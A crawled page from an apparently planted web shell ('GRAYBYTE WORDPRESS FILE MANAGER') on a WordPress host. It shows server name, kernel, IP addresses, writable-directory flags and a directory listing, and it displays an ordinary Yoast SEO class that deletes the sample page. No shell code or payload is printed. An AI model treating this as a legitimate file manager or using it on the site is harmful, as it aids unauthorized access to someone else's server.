✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.67
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/envhttps/task-list//delete-sample-page.php
<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Task_List\Application\Tasks;

use WP_Post;
use Yoast\WP\SEO\Task_List\Domain\Components\Call_To_Action_Entry;
use Yoast\WP\SEO\Task_List\Domain\Components\Copy_Set;
use Yoast\WP\SEO\Task_List\Domain\Exceptions\Complete_Sample_Page_Task_Exception;
use Yoast\WP\SEO\Task_List\Domain\Tasks\Abstract_Task;
use Yoast\WP\SEO\Task_List\Domain\Tasks\Completeable_Task_Interface;

/**
 * Represents the task for deleting the sample page.
 */
class Delete_Sample_Page extends Abstract_Task implements Completeable_Task_Interface {

	/**
	 * Holds the id.
	 *
	 * @var string
	 */
	protected $id = 'delete-sample-page';

	/**
	 * Holds the priority.
	 *
	 * @var string
	 */
	protected $priority = 'medium';

	/**
	 * Holds the duration.
	 *
	 * @var int
	 */
	protected $duration = 1;

	/**
	 * Returns whether this task is completed.
	 *
	 * @return bool Whether this task is completed.
	 */
	public function get_is_completed(): bool {
		$page = $this->get_sample_page();

		if ( $page === null ) {
			return true;
		}

		return $page->post_date !== $page->post_modified;
	}

	/**
	 * Returns the task's link.
	 *
	 * @return string|null
	 */
	public function get_link(): ?string {
		return null;
	}

	/**
	 * Completes a task.
	 *
	 * @return void
	 *
	 * @throws Complete_Sample_Page_Task_Exception If the Sample Page could not be deleted.
	 */
	public function complete_task(): void {
		$page = $this->get_sample_page();

		if ( $page !== null ) {
			$result = \wp_delete_post( $page->ID );

			if ( ! $result ) {
				throw new Complete_Sample_Page_Task_Exception();
			}
		}
	}

	/**
	 * Returns the sample page if it exists and is published.
	 *
	 * @return WP_Post|null The sample page or null if not found.
	 */
	private function get_sample_page(): ?WP_Post {
		$pages = \get_posts(
			[
				'name'        => 'sample-page',
				'post_type'   => 'page',
				'post_status' => 'publish',
				'numberposts' => 1,
			],
		);

		if ( empty( $pages ) || $pages[0] instanceof WP_Post === false ) {
			return null;
		}

		return $pages[0];
	}

	/**
	 * Returns the task's call to action entry.
	 *
	 * @return Call_To_Action_Entry|null
	 */
	public function get_call_to_action(): ?Call_To_Action_Entry {
		return new Call_To_Action_Entry(
			\__( 'Delete for me', 'wordpress-seo' ),
			'delete',
			$this->get_link(),
		);
	}

	/**
	 * Returns the task's copy set.
	 *
	 * @return Copy_Set
	 */
	public function get_copy_set(): Copy_Set {
		return new Copy_Set(
			\__( 'Remove the "Sample Page"', 'wordpress-seo' ),
			'<p>' . \__( 'Leaving placeholder content makes your site look unfinished and untrustworthy. Removing it keeps your site clean and professional for visitors and search engines.', 'wordpress-seo' ) . '</p>',
		);
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 Sep 2026 5.53 PM
docteuh / users
0755
Exception
--
13 Sep 2026 10.12 AM
docteuh / users
0755
cloudflare
--
12 Sep 2026 5.57 AM
docteuh / users
0755
helpers
--
31 Aug 2026 11.38 AM
docteuh / users
0755
src
--
11 Sep 2026 2.21 AM
docteuh / users
0755
bootstrap.php
2.529 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
delete-sample-page.php
2.787 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
extra.css
22.089 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
fb.css
0.462 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
functions.php
28.734 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
gravityforms.css
8.189 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
sidebars.css
0.721 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
typography-20260911111933.css
6.292 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
widgets.css
18.516 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF